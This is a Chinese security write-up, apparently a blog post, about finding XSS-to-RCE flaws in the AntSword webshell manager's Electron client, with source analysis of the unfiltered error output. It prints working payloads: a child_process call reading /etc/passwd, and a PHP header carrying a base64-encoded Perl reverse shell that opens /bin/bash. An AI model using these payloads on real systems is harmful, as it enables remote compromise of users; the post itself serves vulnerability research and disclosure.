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前言：

事情的起因是因为在一次面试中，面试官在提到我的CVE的时候说了我的CVE质量不高。简历里那几个CVE都是大一水过来的，之后也

没有挖CVE更别说高质量的，所以那天晚上在我寻思对哪个CMS下手挖点高质量CVE的时候，我盯上了蚁剑并挖掘到了一枚RCE，虽然

漏洞的水平并不高但是思路和过程我觉得值得拿来分享一下。

 

Electron

Electron是由Github开发，用HTML，CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js

合并到同一个运行时环境中，并将其打包为Mac，Windows和Linux系统下的应用来实现这一目的。

简而言之，只要你会HTML，CSS，Javascript。学习这门框架，你就能跨平台开发桌面应用程序，像VSCode，Typora，Atom，

Github Desktop都是使用Electron应用进行跨平台开发。虽然Electron十分简单方便，但是我认为其存在很严重的安全问题

 

第一个蚁剑的洞

面完的当晚我正对着github的开源项目发呆，准备寻找一些开源项目进行审计，却不知不觉的逛到了历史记录蚁剑的项目，当我准备

关闭的时候，一行说明引起了我的注意
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我发现蚁剑是使用Electron进行开发的，这就说明了我可以进行Electron应用的漏洞挖掘，于是我抱着试试看的运气打开了蚁剑，并在

最显眼的位置输

https://cdn.nlark.com/yuque/0/2019/png/298354/1553445244321-da1ea47f-9533-4432-b60b-24010ae561c5.png#align=left&display=inline&height=510&name=%E5%9B%BE%E7%89%87.png&originHeight=1284&originWidth=1880&size=267358&status=done&width=746
https://cdn.nlark.com/yuque/0/2019/png/298354/1553445426815-d2607e7e-ad0d-4eab-881d-138943e8e0c7.png#align=left&display=inline&height=375&name=%E5%9B%BE%E7%89%87.png&originHeight=1398&originWidth=2080&size=152786&status=done&width=558
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成功XSS！由于蚁剑用Electron开发，当前程序的上下文应该是node，于是我们可以调用node模块进行RCE

poc:

<img src=# onerror="require('child_process').exec('cat /etc/passwd',(error, stdout, stderr)=>{ 

  alert(`stdout: ${stdout}`); 

});">

 

另三个洞

成功RCE，那天晚上在和Smi1e师傅吹水@Smi1e，跟他聊到这个后，他发现shell管理界面也没有任何过滤

https://cdn.nlark.com/yuque/0/2019/png/298354/1553599979068-a0c14f9b-ca80-4e26-91b1-faaa6820c755.png#align=left&display=inline&height=220&name=image.png&originHeight=814&originWidth=2068&size=220350&status=done&width=559
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以上三个点都可以XSS造成RCE，poc和上面一样，就不做演示了，于是我把这些洞交了issue

但是结果是

被官方评为self-xss了，很难受，虽然蚁剑有1000个star，但是这个洞确实比较鸡肋，唯一可以利用的方式只有把自己的蚁剑传给别人

让别人打开，这在实战中几乎是不可能的事情。

注：这四个洞所填的数据在电脑上是有储存的，位置在~/蚁剑源码目录/antData/db.ant文件中以JSON格式进行存储

所以理论上如果能替换别人电脑上的此文件也能造成RCE（但是都能替换文件内容了为什么还要这个方法来RCE干嘛）就很鸡肋

 

真-RCE的发现

就在我一筹莫展的时候，我随便点了一个shell

https://cdn.nlark.com/yuque/0/2019/png/298354/1553600287561-9affb240-1839-4711-93db-c335147d4f4d.png#align=left&display=inline&height=699&name=image.png&originHeight=1398&originWidth=2080&size=220007&status=done&width=1040
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！！！！！！！！

虽然我以前从来不看报错，但在这个时候我十分敏感的觉得这个报错信息肯定有我可控的点，大概看了一番，发现这么一句话

这不就是HTTP的状态码和信息吗，要知道http协议状态码是可以随意更改的，并且状态信息也可以自定义，并不会导致无法解析，于

是我在我的机子进行实验

<?php 

header('HTTP/1.1 500 <img src=# onerror=alert(1)>'); 

喜提一枚X (R) S (C) S (E) 漏洞，当然这只是poc，并不能执行命令。下面是我的exp

https://cdn.nlark.com/yuque/0/2019/png/298354/1553602142855-56d10288-a845-4aa3-ac37-9b50869d4bab.png#align=left&display=inline&height=777&name=image.png&originHeight=1398&originWidth=2080&size=536157&status=done&width=1156
https://cdn.nlark.com/yuque/0/2019/png/298354/1553602270132-1cc5a4fe-25bb-4c8c-9604-63e05bd688b3.png#align=left&display=inline&height=62&name=image.png&originHeight=112&originWidth=508&size=28424&status=done&width=282
https://cdn.nlark.com/yuque/0/2019/png/298354/1553602490361-1adadb12-9131-47a8-85e6-1097ac7b3455.png#align=left&display=inline&height=446&name=image.png&originHeight=802&originWidth=2054&size=335238&status=done&width=1141
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base64是因为引号太多了很麻烦，只能先编码在解码eval。解码后的代码

双击shell后

并且在蚁剑关闭后这个shell也不会断

 

源码分析

这是官方修复我第一个Self-xss的代码改动

<?php 

 

header("HTTP/1.1 406 Not <img src=# onerror='eval(new 

Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxMjcuMC4wLjEiOyRwPTEwMDI7c29ja2V0KFMsU

 

?>

require('child_process').exec('perl -e 'use 

Socket;$i="127.0.0.1";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($

{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'',(error, stdout, stderr)=>{ 

    alert(`stdout: ${stdout}`); 

  }); 

https://cdn.nlark.com/yuque/0/2019/png/298354/1553603776180-b0ce142b-67f2-443b-be87-2a9c02dc4bae.png#align=left&display=inline&height=400&name=image.png&originHeight=720&originWidth=1778&size=167970&status=done&width=988


2019/8/3 蚁剑客户端RCE挖掘过程及源码分析 - 安全客，安全资讯平台

https://www.anquanke.com/post/id/176379 7/18

更新后在目录输出这个位置使用了noxss函数进行输出，全局查找noxss函数

函数的作用很明显，把& < > “替换为实体字符，默认也替换换行。所以我们在新版本构造的exp会失效

https://cdn.nlark.com/yuque/0/2019/png/298354/1554975943857-745b0bd5-c90d-4e67-80f7-044a19c3c6da.png#align=left&display=inline&height=898&name=%E5%9B%BE%E7%89%87.png&originHeight=898&originWidth=982&size=52044&status=done&width=982
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https://cdn.nlark.com/yuque/0/2019/png/298354/1554986756117-57a2d265-a779-4cf6-88ed-d13a7a2f4ad2.png#align=left&display=inline&height=403&name=%E5%9B%BE%E7%89%87.png&originHeight=403&originWidth=526&size=20644&status=done&width=526
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并且作者在大部分的输出点都做了过滤

https://cdn.nlark.com/yuque/0/2019/png/298354/1554987184252-0b14a70a-dadd-4a67-b859-3ce62465d06c.png#align=left&display=inline&height=699&name=%E5%9B%BE%E7%89%87.png&originHeight=699&originWidth=888&size=26218&status=done&width=888
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几乎界面的所有输出都做了过滤，那为什么在我们的连接错误信息中没有过滤呢。于是我准备从源码层面上分析原因。由于错误信息

是在连接失败的时候抛出，所以我怀疑输出点是http连接时候的错误处理产生的输出，所以先全局查找http的连接功能或函数，由于

http连接一般属于核心全局函数或类。我先从入口文件app.js看起。（通过package.json配置文件的main值知道入口文件是app.js）

入口文件一共就80行，在最末尾入口文件引入了6个文件，其中的request十分明显肯定是发起网络请求的文件，跟进分析。

https://cdn.nlark.com/yuque/0/2019/png/298354/1554987345651-4a0fbcc4-cbbc-4ffa-90c9-acb089bf86e7.png#align=left&display=inline&height=950&name=%E5%9B%BE%E7%89%87.png&originHeight=950&originWidth=463&size=60418&status=done&width=463
https://cdn.nlark.com/yuque/0/2019/png/298354/1554988496872-8ff017e4-00e8-4a2e-b86f-aa65874dff9f.png#align=left&display=inline&height=232&name=%E5%9B%BE%E7%89%87.png&originHeight=232&originWidth=923&size=14616&status=done&width=923
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开头的注释就表示了这个文件就是专门发起网络请求的函数文件，在第13行，发现这个文件引入了一个模块superagent，这是一个

node的轻量级网络请求模块，类似于python中的requests库，所以可以确定此函数使用这个库发起网络请求，追踪superagent变量

在104行发现，新建了一个网络请求，并且将返回对象赋予_request参数，从94行的注释也能发现这里应该实现的应该给是发起网络

请求的功能，所以从这里开始追踪_request变量。
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从123行到132行是发网络请求，并且151行，当产生错误的时候会传递一个request-error错误，并且传递了错误信息，并且之后的代

码也是相同的错误处理，于是全局搜索request-error。

很明显，跟进base.js

https://cdn.nlark.com/yuque/0/2019/png/298354/1554989398415-d29392df-3509-4f70-9670-fdbeaed27220.png#align=left&display=inline&height=803&name=%E5%9B%BE%E7%89%87.png&originHeight=803&originWidth=921&size=58735&status=done&width=921
https://cdn.nlark.com/yuque/0/2019/png/298354/1554991624506-83503136-b19d-48de-9659-fc3f1ac2abd4.png#align=left&display=inline&height=436&name=%E5%9B%BE%E7%89%87.png&originHeight=436&originWidth=463&size=24651&status=done&width=463
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这里定义了一个request函数，封装好了http请求，在监听到request-error-事件的时候会直接返回promise的reject状态，并且传递

error信息，ret变量就是上面传递过来的err, rej就是promise的reject，不懂promise的可以去看看promise。然后由之后调用此request

函数的catch捕获。所以全局搜索request函数

https://cdn.nlark.com/yuque/0/2019/png/298354/1554991677914-41df1f3f-2375-4a6b-a95f-66411079c4c0.png#align=left&display=inline&height=892&name=%E5%9B%BE%E7%89%87.png&originHeight=892&originWidth=803&size=53676&status=done&width=803
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在搜索列表里发现有database,filemanager,shellmanager等文件都调用了request函数，由于蚁剑的shell先会列目录文件，所以第一个

网络请求可能是发起文件或目录操作，而我们的错误信息就是在第一次网络请求后面被输出，所以跟进filemanager

在140行注释发现了获取文件目录的函数，审计函数

https://cdn.nlark.com/yuque/0/2019/png/298354/1554992450103-44434ac2-b63c-4862-ab5c-8cbac57f8697.png#align=left&display=inline&height=894&name=%E5%9B%BE%E7%89%87.png&originHeight=894&originWidth=458&size=47986&status=done&width=458
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在166行发现了调用了request函数，204行用catch捕获了前面promise的reject，并且将err错误信息json格式化并传递给toastr.error这

个函数。toastr是一款轻量级的通知提示框Javascript插件，下面是这个插件的用法
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看看上面蚁剑输出的错误信息，是不是发现了点什么。

这个插件在浏览器里面也是默认不会进行xss过滤的。由于错误信息包含了http返回包的状态码和信息，所以我们构造恶意http头，前

端通过toastr插件输出即可造成远程命令执行。

 

总结

由于http的错误信息输出点混杂在了逻辑函数中，相当于控制器和视图没有很好地解耦，开发者虽然对大部分的输出点进行的过滤，

但是由于这个输出点比较隐蔽且混淆在的控制层，所以忽略了对此报错输出的过滤，并且错误信息是通过通知插件输出，更增加了输

出的隐蔽性。开发人员在使用类似插件的时候应该了解插件是否对这类漏洞做了过滤，不能过度信赖第三方插件，并且在编写大型项

目的时候，视图层和控制层应该尽可能的分离，这样才能更好进行项目的维护。

对于electron应用，开发者应该了解xss的重要性，electron应用的xss是直接可以造成系统RCE的，对于用户可控输出点，特别是这种

远程可控输出点，都必须进行过滤。
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